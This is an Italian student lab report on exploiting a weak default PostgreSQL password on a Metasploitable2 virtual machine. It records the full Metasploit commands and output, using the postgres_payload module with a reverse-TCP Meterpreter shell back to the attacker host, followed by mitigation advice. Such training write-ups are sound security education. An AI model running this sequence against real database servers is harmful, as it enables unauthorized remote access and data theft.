

EPICODE

CS0424

S7 / L5

VULNERABILITA' POSTGRESQL

Victoria M. Braile

Prof. Antonio Pozzi

PANORAMICA

Premessa

Vulnerabilità di PostgreSQL

01. Configurazione rete

02. Scansione NMAP

03. Metasploit

04. Ricerca exploit

05. Show options

06. Exploit

07. Sysinfo

Conclusioni

Mitigazione

TRACCIA ESERCIZIO

Metasploitable2 presenta un servizio **PostgreSQL** vulnerabile.

Sfruttare la vulnerabilità ed eseguire **l'exploit** per ottenere una sessione **Meterpreter** sul sistema target.



PREMESSA

Nell'ambito della sicurezza informatica, è fondamentale **testare le vulnerabilità** dei sistemi per identificare e risolvere eventuali problemi di sicurezza.

In questo esercizio, il **focus** è sulla **vulnerabilità del servizio PostgreSQL presente sulla macchina Metasploitable2**, con l'obiettivo di sfruttare questa vulnerabilità utilizzando **Metasploit** per ottenere una sessione di **Meterpreter** sulla macchina remota.

Prima di iniziare, è importante comprendere **cosa sono Metasploit e Meterpreter**.

Metasploit è un **framework di penetration testing open-source** che fornisce una vasta gamma di **strumenti e exploit** per **testare la sicurezza** dei sistemi.

Meterpreter è un **payload di Metasploit** che fornisce un'**interfaccia di comando interattiva** per controllare la **macchina remota** dopo l'exploit.

VULNERABILITA' POSTGRESQL

PostgreSQL è un sistema di gestione di basi di dati relazionali (RDBMS) open-source, libero e gratuito.

È uno dei più popolari e **affidabili** sistemi di gestione di basi di dati disponibili oggi.

Si tratta di un sistema di gestione di basi di dati **robusto, scalabile** e **sicuro**, che è ampiamente utilizzato in una grande varietà di settori e applicazioni.

La **vulnerabilità** del servizio PostgreSQL su Metasploitable2 è relativa al sistema di gestione del database PostgreSQL, in particolare all'account utente **postgres**.

Per default, l'account utente postgres ha una **password debole**, che è **postgres**.

Questa è una vulnerabilità ben nota e spesso viene utilizzata come **dimostrazione di come sfruttare una password debole**.

La **vulnerabilità** del servizio PostgreSQL può comportare delle **conseguenze** serie, come:

- **Accesso non autorizzato** alla macchina remota.
- **Furto di dati**: Un attaccante può rubare o copiare i dati sensibili.
- Esecuzione di **comandi** a livello di **sistema**.
- Escalation di **privilegi**.

01.CONFIGURAZIONE RETE

01.1.MODIFICA DEGLI INDIRIZZI IP

Vengono configurati gli IP di Kali Linux e Metasploitable2, impostando rispettivamente IP **192.168.75.111** per **Kali Linux** (macchina attaccante) e IP **192.168.75.112** per **Metasploitable2** (macchina vittima).

Su **Metasploitable2** viene modificato il file di configurazione con il comando **sudo nano etc/network/interfaces** mentre su **Kali Linux** la modifica avviene tramite GUI.

```
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.75.111 netmask 255.255.255.0 broadcast 192.168.75.255  
    inet6 fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)  
    RX packets 72 bytes 6754 (6.5 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 87 bytes 13403 (13.0 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
msfadmin@metasploitable:~$ ifconfig  
eth0  
    Link encap:Ethernet HWaddr 08:00:27:1e:36:4a  
    inet addr:192.168.75.112 Bcast:192.168.75.255 Mask:255.255.255.0  
    inet6 addr: fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>  
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
    RX packets:14 errors:0 dropped:0 overruns:0 frame:0  
    TX packets:96 errors:0 dropped:0 overruns:0 carrier:0  
    collisions:0 txqueuelen:1000  
    RX bytes:1318 (1.2 KB) TX bytes:9161 (8.9 KB)  
    Base address:0xd020 Memory:f0200000-f0220000
```

01.CONFIGURAZIONE RETE

01.2.COMUNICAZIONE TRA LE MACCHINE

Viene effettuata una verifica della **comunicazione tra le macchine Kali Linux e Metasploitable2** utilizzando il comando **ping** seguito dall'IP della macchina con cui si vuole comunicare.

```
msfadmin@metasploitable:~$ ping -c4 192.168.75.111
PING 192.168.75.111 (192.168.75.111) 56(84) bytes of data.
64 bytes from 192.168.75.111: icmp_seq=1 ttl=64 time=1.09 ms
64 bytes from 192.168.75.111: icmp_seq=2 ttl=64 time=1.01 ms
64 bytes from 192.168.75.111: icmp_seq=3 ttl=64 time=0.929 ms
64 bytes from 192.168.75.111: icmp_seq=4 ttl=64 time=1.20 ms

--- 192.168.75.111 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.929/1.061/1.202/0.103 ms
```

```
(kali@kali)-[~]
$ ping -c4 192.168.75.112
PING 192.168.75.112 (192.168.75.112) 56(84) bytes of data.
64 bytes from 192.168.75.112: icmp_seq=1 ttl=64 time=0.905 ms
64 bytes from 192.168.75.112: icmp_seq=2 ttl=64 time=1.26 ms
64 bytes from 192.168.75.112: icmp_seq=3 ttl=64 time=0.810 ms
64 bytes from 192.168.75.112: icmp_seq=4 ttl=64 time=1.12 ms

--- 192.168.75.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 0.810/1.023/1.259/0.176 ms
```


02.SCANSSIONE NMAP

E' noto che **Metasploitable2** presenta una vulnerabilità nel servizio PostgreSQL sulla porta 5432. Facendo una scansione con **nmap** è possibile **verificare** questa vulnerabilità, e con il comando adeguato si otterranno **informazioni dettagliate** sul servizio in esame. Dal terminale di Kali si utilizza dunque il comando:

nmap -A -p 5432 192.168.75.112

```
(kali㉿kali)-[~]  
$ nmap -A -p 5432 192.168.75.112  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 05:24 EDT  
Nmap scan report for 192.168.75.112  
Host is up (0.0019s latency).  
  
PORT      Med STATE SERVICE PostgreSQL VERSION  
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7  
|_ssl-date: 2024-07-12T09:24:41+00:00; +17s from scanner time.  
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX  
|_Not valid before: 2010-03-17T14:07:45  
|_Not valid after: 2010-04-16T14:07:45  
  
Host script results:  
|_clock-skew: 16s  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds
```

La scansione **conferma** quanto sopra.

03.METASPLOIT

Si passa quindi all'utilizzo di **Metasploit** per sfruttare la vulnerabilità riscontrata.

Per avviare Metasploit si usa il comando **msfconsole** dal terminale di Kali Linux, e si riceve un messaggio di "benvenuto" che cambia ogni volta.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

IIIIII dTb.dTb
  II    4'  v  'B
  II    6.   .P
  II    'T;. .;P'
  II    'T; ;P'
IIIIII  'YvP'

I love shells -- egypt

      =[ metasploit v6.4.9-dev ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

04.RICERCA EXPLOIT

Adesso bisogna procedere con la ricerca dell'exploit adeguato tramite il comando **search**.

```
msf6 > search postgresql

Matching Modules
=====
#  Name
-  -
0  auxiliary/server/capture/postgresql
1  post/linux/gather/enum_users_history
2  exploit/multi/http/manage_engine_dc_pmp_sqli
   ViewFetchServlet.dat SQL Injection
3  \_ target: Automatic
4  \_ target: Desktop Central v8 ≥ b80200 / v9 < b90039 (PostgreSQL) on Windows
5  \_ target: Desktop Central MSP v8 ≥ b80200 / v9 < b90039 (PostgreSQL) on Windows
6  \_ target: Desktop Central [MSP] v7 ≥ b70200 / v8 / v9 < b90039 (MySQL) on Windows
7  \_ target: Password Manager Pro [MSP] v6 ≥ b6800 / v7 < b7003 (PostgreSQL) on Windows
8  \_ target: Password Manager Pro v6 ≥ b6500 / v7 < b7003 (MySQL) on Windows
9  \_ target: Password Manager Pro [MSP] v6 ≥ b6800 / v7 < b7003 (PostgreSQL) on Linux
10 \_ target: Password Manager Pro v6 ≥ b6500 / v7 < b7003 (MySQL) on Linux
11 auxiliary/admin/http/manageengine_pmp_privsec
   ult.cc Pro SQL Injection
12 exploit/multi/postgres/postgres_copy_from_program_cmd_exec
13 \_ target: Automatic
14 \_ target: Unix/OSX/Linux
15 \_ target: Windows - PowerShell (In-Memory)
16 \_ target: Windows (CMD)
17 exploit/multi/postgres/postgres_createlang
18 auxiliary/scanner/postgres/postgres_dbname_flag_injection
19 auxiliary/scanner/postgres/postgres_login
20 auxiliary/admin/postgres/postgres_readfile
21 auxiliary/admin/postgres/postgres_sql
22 auxiliary/scanner/postgres/postgres_version
23 exploit/linux/postgres/postgres_payload
24 \_ target: Linux x86
25 \_ target: Linux x86_64
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/capture/postgresql	.	normal	No	Authentication Capture: PostgreSQL
1	post/linux/gather/enum_users_history	.	normal	No	Linux Gather User History
2	exploit/multi/http/manage_engine_dc_pmp_sqli	2014-06-08	excellent	Yes	ManageEngine Desktop Central / Password Manager Link
3	_ target: Automatic
4	_ target: Desktop Central v8 ≥ b80200 / v9 < b90039 (PostgreSQL) on Windows
5	_ target: Desktop Central MSP v8 ≥ b80200 / v9 < b90039 (PostgreSQL) on Windows
6	_ target: Desktop Central [MSP] v7 ≥ b70200 / v8 / v9 < b90039 (MySQL) on Windows
7	_ target: Password Manager Pro [MSP] v6 ≥ b6800 / v7 < b7003 (PostgreSQL) on Windows
8	_ target: Password Manager Pro v6 ≥ b6500 / v7 < b7003 (MySQL) on Windows
9	_ target: Password Manager Pro [MSP] v6 ≥ b6800 / v7 < b7003 (PostgreSQL) on Linux
10	_ target: Password Manager Pro v6 ≥ b6500 / v7 < b7003 (MySQL) on Linux
11	auxiliary/admin/http/manageengine_pmp_privsec	2014-11-08	normal	Yes	ManageEngine Password Manager SQLAdvancedALSearchRes
12	exploit/multi/postgres/postgres_copy_from_program_cmd_exec	2019-03-20	excellent	Yes	PostgreSQL COPY FROM PROGRAM Command Execution
13	_ target: Automatic
14	_ target: Unix/OSX/Linux
15	_ target: Windows - PowerShell (In-Memory)
16	_ target: Windows (CMD)
17	exploit/multi/postgres/postgres_createlang	2016-01-01	good	Yes	PostgreSQL CREATE LANGUAGE Execution
18	auxiliary/scanner/postgres/postgres_dbname_flag_injection	.	normal	No	PostgreSQL Database Name Command Line Flag Injection
19	auxiliary/scanner/postgres/postgres_login	.	normal	No	PostgreSQL Login Utility
20	auxiliary/admin/postgres/postgres_readfile	.	normal	No	PostgreSQL Server Generic Query
21	auxiliary/admin/postgres/postgres_sql	.	normal	No	PostgreSQL Server Generic Query
22	auxiliary/scanner/postgres/postgres_version	.	normal	No	PostgreSQL Version Probe
23	exploit/linux/postgres/postgres_payload	2007-06-05	excellent	Yes	PostgreSQL for Linux Payload Execution
24	_ target: Linux x86
25	_ target: Linux x86_64

Il modulo **exploit/linux/postgres/postgres_payload** è stato progettato appositamente per sfruttare la vulnerabilità di PostgreSQL, rendendolo una scelta precisa e efficace per l'obiettivo, e lo si seleziona con il comando **use 23**.

05.SHOW OPTIONS

```
msf6 > use 23
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):



| Name    | Current Setting | Required | Description           |
|---------|-----------------|----------|-----------------------|
| VERBOSE | false           | no       | Enable verbose output |



Used when making a new connection via RHOSTS:



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| DATABASE | postgres        | no       | The database to authenticate against                                                                                                                                                                |
| PASSWORD | postgres        | no       | The password for the specified username. Leave blank for a random password.                                                                                                                         |
| RHOSTS   |                 | no       | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 5432            | no       | The target port                                                                                                                                                                                     |
| USERNAME | postgres        | no       | The username to authenticate as                                                                                                                                                                     |



Used when connecting via an existing SESSION:



| Name    | Current Setting   | Required | Description                       |
|---------|-------------------|----------|-----------------------------------|
| SESSION | 161 - 240614_S3L5 | no       | The session to run this module on |



Payload options (linux/x86/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Linux x86 |


```

In particolare si presta attenzione ai campi **RHOST** e **LHOSTS**, ovvero gli indirizzi IP di macchina target e attaccante. Interessante anche notare il campo **RPORT**, che indica la porta target e che si trova settato proprio sulla porta **5432**, su cui infatti è attivo il servizio **PostgreSQL** verificato anche con **nmap**.

06.EXPLOIT

I campi da compilare sono **RHOSTS** e **LHOST**, e viene fatto con i comandi:

set RHOSTS 192.168.75.112

set LHOST 192.168.75.111

A questo punto è possibile procedere con il comando **exploit**.

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.75.112
RHOSTS => 192.168.75.112
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.75.111
LHOST => 192.168.75.111
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/ytPFIwDR.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 -> 192.168.75.112:41948) at 2024-07-12 06:10:43 -0400

meterpreter > █
```

Come riportato, **l'attacco è andato a buon fine** poiché dal comando exploit è stata ricevuta una **shell di Meterpreter**.

07.SYSINFO

Per verificare che l'attacco sia andato a buon fine, si utilizza il comando **sysinfo** che restituisce delle informazioni sulla macchina exploitata come nome, sistema operativo e architettura di sistema.

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > █
```

CONCLUSIONI

Questo esercizio è stato utile per comprendere l'importanza di testare le vulnerabilità dei sistemi e di identificare le porte aperte e in ascolto.

Inoltre, ha dimostrato come Metasploit possa essere utilizzato in modo efficace per sfruttare le vulnerabilità e ottenere accesso a sistemi remoti.

Con questa sessione di meterpreter, ulteriori step che potrebbero essere utili per l'apprendimento includono:

- Eseguire comandi sulla macchina remota.
- Scaricare file dalla macchina remota.

MITIGAZIONE

La vulnerabilità relativa al sistema di gestione del database PostgreSQL può essere facilmente mitigata con i seguenti accorgimenti:

- Cambiare la password di default dell'account utente *postgres* con una password forte e unica..
- Limitare l'accesso al server PostgreSQL solo alle reti o agli indirizzi IP attendibili.
- Implementare misure di sicurezza aggiuntive, come la crittografia SSL/TLS e meccanismi di autenticazione.